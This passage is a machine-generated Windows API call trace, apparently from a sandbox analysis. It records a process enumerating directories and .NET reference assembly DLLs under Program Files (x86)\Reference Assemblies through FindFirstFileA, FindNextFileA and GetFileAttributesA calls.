ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0229.625] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0229.625] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0229.625] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft")) returned 0x10 [0229.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0229.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0229.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0229.626] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0229.626] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.626] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0229.626] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0229.627] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0229.627] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework")) returned 0x10 [0229.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0229.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0229.627] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0229.628] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.628] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="v3.0", cAlternateFileName="")) returned 1 [0229.628] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="v3.5", cAlternateFileName="")) returned 1 [0229.628] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="v3.5", cAlternateFileName="")) returned 0 [0229.628] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0229.628] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0")) returned 0x10 [0229.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd00 | out: hHeap=0x2ad0000) returned 1 [0229.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0229.629] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5")) returned 0x10 [0229.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0229.630] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0229.631] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.631] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575a2150, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575a2150, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0229.631] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x574bd2f8, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x574bd2f8, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x407000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0229.632] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0229.632] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0229.632] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x50a000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0229.632] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0229.632] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575c83aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x575c83aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0229.632] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57614879, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57614879, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0229.632] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0229.633] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0229.633] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c4a1e8c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6c4c7f7a, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0229.633] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d14c866, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6d14c866, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0229.633] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90981b06, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65065569, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x65065569, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0229.633] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57555c84, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57555c84, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0229.633] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6749ba48, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x674e7ec0, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0229.633] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90981b06, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x66fb0c3e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6710806a, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x5b7000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0229.634] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0229.634] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57686f9f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57686f9f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x14c97d00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0229.634] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57686f9f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57686f9f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x14c97d00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x18e000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0229.634] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x576ad20c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x576ad20c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x14c97d00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x84000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0229.634] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0229.634] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0229.634] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0229.635] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0229.635] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0229.635] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57660d39, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57660d39, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0229.635] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b6abb1, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe4d983, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe4d983, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0229.635] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b6abb1, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe4d983, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe4d983, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0229.635] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0229.636] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationBuildTasks.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationbuildtasks.dll")) returned 0x20 [0229.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0229.639] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll")) returned 0x20 [0229.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0229.642] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Aero.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.aero.dll")) returned 0x20 [0229.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0229.643] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Classic.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.classic.dll")) returned 0x20 [0229.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0229.644] GetFileAttributesA 